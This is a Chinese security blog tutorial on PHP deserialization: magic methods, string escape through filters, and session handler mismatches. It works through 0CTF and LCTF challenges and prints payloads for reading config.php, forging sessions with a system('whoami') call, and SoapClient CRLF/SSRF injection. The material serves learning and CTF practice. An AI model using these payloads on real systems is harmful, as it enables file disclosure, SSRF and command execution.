PHP 反序列化
0x01 前言
过一遍 PHP 反序列化
0x02 PHP 的反序列化
- 和 Java 一样,也是两个方法
序列化:serialize()
反序列化:unserialize()
简单的 demo
1 |
|
PHP 反序列化其实是有点让人难受的,因为它的序列化过程,将对象转化为字符串,这个字符串并非是二进制文件,而且说实话,我个人觉得可读性有点不太好,看着不太舒服吧……
输出结果:
1 | Test Drunkbaby is 19years old O:4:"Test":2:{s:3:"age";s:2:"19";s:4:"name";s:9:"Drunkbaby";} |
此时就可以看出序列化后这里有多个字母,下面依次来进行解释
1 | O:4:"Test":2:{s:3:"age";s:2:"19";s:4:"name";s:9:"Drunkbaby";} |
字母的含义如下
1 | a - array b - boolean |
正常遇到的这种反序列化和序列化都是和 PHP 类与对象这部分知识点相关联的,所以我们需要简单了解类和对象这个知识点,同时掌握魔术方法的基础用法
0x03 PHP 魔术方法
- 翻看自己以前的文章,发现已经有所提及到了,但是我自己却没什么印象哈哈,还是重新过一下吧,也要不了多少时间。
常见魔术方法有以下几种
1 | __construct() 当一个对象创建时被调用, |
这是整体的,但这样看似乎显得过于抽象,因此我们将其进行分类,依次进行举例讲解
__construct() 与 __destruct()
1 | __construct : 在创建对象时候初始化对象,一般用于对变量赋初值。 __destruct : 和构造函数相反,当对象所在函数调用完毕后执行。 |
__destruct
还有一种利用方式,就是 __destruct()
在对象被主动销毁的时候,其实这里用销毁这个词我觉得并不妥当,严格意义上来说,其实是对象在结束整个过程后,最后进行的这么一个操作。
1 |
|
__sleep()
1 | __sleep() serialize 之前被调用,可以指定要序列化的对象属性。 |
代码如下
1 |
|
__wakeup()
1 | __wakeup() 反序列化恢复对象之前调用该方法 |
实例如下
实例如下
1 |
|
__toString()
1 | __toString() :在对象当做字符串的时候会被调用。 |
实例如下
1 |
|
__invoke()
1 | __invoke() :将对象当作函数来使用时执行此方法。 |
示例如下
1 |
|
- 这一个
__invoke
方法接触的比较少
__get
1 | __get() 访问不存在的成员变量时调用的 |
实例如下
1 |
|
__set
1 | __set() :设置不存在的成员变量时调用的; |
这一块 get 和 set 是可以放一起讲的,这两个方法很有意思,从某种程度来说是一种特别的抛出异常的手段。
如果我一个类当中不存在某个属性,如果在 Java 里面,会直接抛出异常,而在 PHP 里面会调用魔术方法,这其实是有概率造成 Gadget Chain 的反序列化的,不同于 Java 里面死的抛出异常,PHP 的安全隐患非常大。
代码如下
1 |
|
__call()
1 | __call :当调用对象中不存在的方法会自动调用该方法 |
示例如下
1 |
|
我的理解里面,这也算是一种抛出异常
__isset()
1 | __isset() : 检测对象的某个属性是否存在时执行此函数。 |
当对不可访问属性调用 isset() 或 empty() 时,__isset()
会被调用。
实例如下
1 |
|
可以发现私有属性时会调用 isset 魔术方法(调用 protected 作用域的属性也会调用),这两个就属于是不可访问的属性了,被访问的时候会进到 __isset()
里面
__unset()
1 | __unset() :在不可访问的属性上使用 unset () 时触发 |
代码如下
1 |
|
常用魔术函数汇总例子
代码如下
1 |
|
简单的 PHP 反序列化 CTF 题目
0x04 反序列化之字符串逃逸
其实也不能说算是字符串逃逸吧,个人认为说是字符串拼接,或许是更合理的。逃逸总是听着太高大上了
首先来介绍一下这个 str_replace
函数
1 | str_replace |
过滤后字符变多
看一下我们本地的代码
1 |
|
正常情况下是这样的
如果此时多传入一个x的话会怎样,毫无疑问反序列化失败,由于溢出(s本来是4结果多了一个字符出来,这也就是 str_replace
)
传入的参数 name,先与 age 一起组成了一个数组,经过过滤之后,再进行反序列化的工作,所以这里我们可以构造恶意的 name,此时我们传入
1 | name=Drunkbabyxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"whoami";} |
后面这部分:";i:1;s:6:"whoami";}
的长度是 20
由于一个x会被替换为两个,我们输入了一共20个x,现在是40个,多出来的20个x其实取代了我们的这二十个字符 ";i:1;s:6:"whoami";}
,从而造成";i:1;s:6:"whoami";}
的溢出,而 "
闭合了前串,使得我们的字符串成功逃逸,可以被反序列化,输出 whoami
最后的 ;}
闭合反序列化全过程导致原来的 ";i:1;s:7:"I am 11";}"
被舍弃,不影响反序列化过程
构造 payload 之后成功
bugku Web new php
0CTF 2016 piapiapia 1 字符串逃逸后变多
题目是有源码泄露的,得到源码之后我们看到 config.php 里面有一个 $flag
从这里面就可以猜想,可能是要我们去读取 config.php
继续看,在 profile.php
里面,很明显可以看到存在一个危险函数 file_get_contents
,这就更加容易使我们去想到是读取 config.php 的了。
做的 file_get_contents
里面是什么东西呢,是 $profile['photo']
,我们溯上去,看一看 $profile
是什么
可以看到 $profile
是 $user
对象中的 show_profile()
方法,传入的参数是 $_SESSION['username']
。
跟进一下 show_profile()
方法,先看返回值,是 $object->profile
,也就是返回一个 profile 对象。$object
则是通过 parent::select($this->table, $where)
,也就是经过了 select 搞来的,再往上看,发现还调用了一个 filter()
方法,跟进去看一下。
字符串逃逸昭然若揭。
现在基本的攻击思路已经明确了,基本上是依靠 username 这里的可控点进行字符串逃逸的攻击,可是我们看的东西其实全程都和 file_get_contents($profile['photo'])
无关
终于,在 update.php 里面找到了关于 $profile
序列化的代码
所以就是用 username 进行字符串逃逸的工作,让 photo 那里直接读取 config.php
,去到 update 界面开始攻击。
我们要把 filename 修改成恶意的 config.php,构造出的结果如下
1 | $profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";s:8:"sea_sand";s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";} |
但是很明显,不可能直接可以读到 config.php,需要我们在 nickname 那里进行恶意构造,所以 payload
1 | nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";} |
nickname 最后面塞上";}s:5:“photo”;s:10:“config.php”;}
,一共是34个字符,如果利用正则替换34个where,就可以直接把后面这些字符挤出去,让他们成为 photo
值得注意的是,nickname 要从原本的 nickname 修改成数组,因为要进行闭合
此时我们已经可以读到 config.php,只需要把内容进行 base64 解码即可
过滤后字符变少
- 异曲同工,之前我们是把字符挤出去,这里我们要把字符塞进来。
源代码如下
1 |
|
正常情况下,回显如此
现在我们把 name 改成 1xx,这里肯定会报错,过滤之后是减少了的,这就和字符变多的道理是一样的。
所以此处我们的利用思路应该是这样的:在后面构造恶意的 payload,然后通过字符减少,把恶意 payload 提前闭合。
payload
1 | ?name=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&age=11";s:3:"age";s:6:"whoami";} |
0x05 Session 反序列化
终于要对 Session 反序列化动手了哈哈,之前一直没弄。
什么是 PHP Session
PHP session
可以看做是一个特殊的变量,且该变量是用于存储关于用户会话的信息,或者更改用户会话的设置,需要注意的是,PHP Session
变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的,且其对应的具体 session
值会存储于服务器端,这也是与 cookie
的主要区别,所以seesion
的安全性相对较高。
其中单一用户的信息是通过序列化的方式来存储的。
PHP Session 的工作流程
会话的工作流程很简单,当开始一个会话时,PHP 会尝试从请求中查找会话 ID (通常通过会话 cookie
),如果发现请求的 Cookies
、Get
、POST
中不存在 session id
,PHP 就会自动调用 php_session_create_id
函数创建一个新的会话,并且在 http response
中通过 set-cookie
头部发送给客户端保存。
有时候浏览器用户设置会禁止 cookie
,当在客户端cookie
被禁用的情况下,php也可以自动将sessionid
添加到url参数中以及form
的hidden
字段中,但这需要将php.ini
中的session.use_trans_sid
设为开启,也可以在运行时调用ini_set
来设置这个配置项。
会话开始之后,PHP 就会将会话中的数据设置到 $_SESSION
变量中,如下述代码就是一个在 $_SESSION
变量中注册变量的例子:
1 |
|
当 PHP 停止的时候,它会自动读取 $_SESSION
中的内容,并将其进行序列化, 然后发送给会话保存管理器来进行保存。
默认情况下,PHP 使用内置的文件会话保存管理器来完成 session 的保存,也可以通过配置项 session.save_handler
来修改所要采用的会话保存管理器。 对于文件会话保存管理器,会将会话数据保存到配置项 session.save_path
所指定的位置。
虽然上述已经表达的非常明确了,不过还是用这一副图来表示一下工作流程
PHP Session 的存储机制
PHP Session 的存储位置我们先要明确,在 php.ini
的 session.save_path
属性中。一般来说 session 存储名有几种,ci_
或是 sess_
,默认是以文件的方式存储的。
文件的内容很显然,是 session 值序列化之后的内容
session.serialize_handler
定义的引擎有三种,如下表所示:
处理器名称 | 存储格式 |
---|---|
php | 键名 + 竖线 + 经过serialize() 函数序列化处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize() 函数序列化处理的值 |
php_serialize | 经过serialize()函数序列化处理的数组 |
注:自 PHP 5.5.4 起可以使用 php_serialize
上述三种处理器中,php_serialize
在内部简单地直接使用 serialize/unserialize
函数,并且不会有php
和 php_binary
所具有的限制。 使用较旧的序列化处理器导致$_SESSION
的索引既不能是数字也不能包含特殊字符(|
和 !
) 。
下面我们实例来看看三种不同处理器序列化后的结果。
PHP 处理器
首先来看看 session.serialize_handler
等于 php
时候的序列化结果,demo 如下:
1 |
|
得到的 session 结果为
1 | session|s:4:"test"; |
session
为$_SESSION['session']
的键名,|
后为传入 GET 参数经过序列化后的值。
php_binary 处理器
再来看看session.serialize_handler
等于 php_binary
时候的序列化结果。
demo 如下:
1 |
|
为了更能直观的体现出格式的差别,因此这里设置了键值长度为 35,35 对应的 ASCII 码为#
,所以最终的结果如下图所示:
session 的结果为:
1 | #sessionsessionsessionsessionsessions:4:"test"; |
#
为键名长度对应的 ASCII 的值,sessionsessionsessionsessionsessions
为键名,s:4:"test";
为传入 GET 参数经过序列化后的值。
php_serialize 处理器
最后就是 session.serialize_handler
等于 php_serialize
时候的序列化结果,同理,demo 如下:
1 |
|
得到的 session 值为
1 | a:1:{s:7:"session";s:4:"test";} |
a:1
表示$_SESSION
数组中有 1 个元素,花括号里面的内容即为传入 GET 参数经过序列化后的值
漏洞实例
先聊一下漏洞原理
当序列化存储 Session 数据与反序列化读取 Session 数据的方式不同时会产生漏洞。
看了一下其实大部分例题并非很 Real World,但是在实际漏洞挖掘过程中确实也有一些非常 Real World 的场景,接下来我们一步步由浅到深地看。
https://xz.aliyun.com/t/6640#toc-10
https://mochazz.github.io/2019/01/29/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%85%A5%E9%97%A8%E4%B9%8Bsession%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96
例题一
1 |
|
可以看到题目环境中的 session.serialize_handler
默认为 php_serialize 处理器,而程序使用的却是 php 处理器,而且开头使用了 session_start() 函数,那么我们就可以利用 session.upload_progress.enabled
来伪造 session ,然后在 PHP 反序列化 session 文件时,还原 Test 类,最终执行 eval 函数。
先编写恶意代码,用来伪造 session
1 |
|
生成的 session 文件内容为
1 | payload|O:4:"Test":1:{s:9:"drun1baby";s:21:"echo system("whoami);";} |
接下来需要通过 session.upload_progress.enabled
来伪造。
我们可以通过如下表单,抓包修改 filename 为 payload 即可。
1 | <form action="http://localhost/t1.php" method="POST" enctype="multipart/form-data"> |
最终会生成一个 session 文件, php 在获取 session 的时候,会按照 session.serialize_handler=php
规则来处理 session 文件,将 |
符号之前的所有内容认为是键名,之后的内容则用于反序列化。
我这里本地没复现成功,可能受 PHP 版本影响了。放一张其他师傅利用成功的图。
例题二
题目链接
https://buuoj.cn/challenges#bestphp's%20revenge
源代码 index.php
1 |
|
还有 flag.php
1 |
|
flag.php 这里是一个典型的 SSRF,当然同样关注一下前面的内容。
首先第五行 call_user_func($_GET['f'], $_POST);
代码,潜在的命令执行漏洞,$_POST
是一个数组,如果要利用的话只能进行变量覆盖利用。
下面存在 Session 伪造漏洞,可以直接通过传参伪造,后续可以利用反序列化或者是文件包含。
最后也是一个 call_user_func
,但是 $a
这里看起来不可控,没法直接利用。
结合 flag.php 的内容知道了这是个 SSRF 的漏洞,所以这里第一反应是思考 SoapClient 类打 SSRF 漏洞。而这里 SoapClient 类在被调用 __call
魔术方法的时候会发起 HTTP 请求,正好符合题意。接下来先编写 SSRF 的 EXP
1 |
|
由于 PHP 中的原生 SoapClient 类存在 CRLF 漏洞,所以我们可以伪造任意 header 信息,上面的请求结果如下:
而 call_user_func 函数中的参数可以是一个数组,数组中第一个元素为类名,第二个元素为类方法,例如:
1 |
|
这样子一来我们可以构造如下一个恶意的 payload,即调用 SoapClient 类不存在的 welcome_to_the_lctf2018 方法,从而触发 __call
方法发起 soap 请求进行 SSRF 。
1 |
|
这里还要提及一点的是 session_start 函数从 PHP7 开始允许通过参数来设置 session 运行时配置。例如: session_start(array('serialize_handler' => 'php_serialize'))
将会设置 session.serialize_handler=php_serialize 。
通过call_user_func
将序列化引擎从php
改变为php_serialize
。其中利用的是session_start,一般是利用ini.set,来修改处理器,但是POST传入的参数是数组,ini.set不能处理数组,所以使用session_start来修改。
传参 HTTP 请求
1 | POST /?f=session_start |
这就会构成 call_user_func(session_start(array('serialize_handler' => 'php_serialize'))
接下来构造一个 EXP
1 |
|
传参打,当然这里需要在 name 前面加一个 |
符号,这样一来当程序加载用户的 session 值时,就会使用 php 处理器进行处理,将 |
符号前面作为键名,后面的内容作为键值,此时便成功反序列化 Session 后面的内容
1 | POST /?f=session_start&name=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A9%3A%22drunkbaby%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A32%3A%22drunkbaby%0D%0ACookie%3APHPSESSID%3Devil%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D |
第二步,通过 extract 变量覆盖
传参如下
1 | POST /?f=extract |
完成构造 call_user_func('call_user_func',array('SoapClient','welcome_to_the_lctf2018');
最后一步发起请求,由于 session 会被保存到对应 SoapClient 的 session,所以需要请求对应的 session
solved!
- 本文标题:PHP 反序列化
- 创建时间:2022-09-07 16:55:19
- 本文链接:2022/09/07/PHP-反序列化/
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!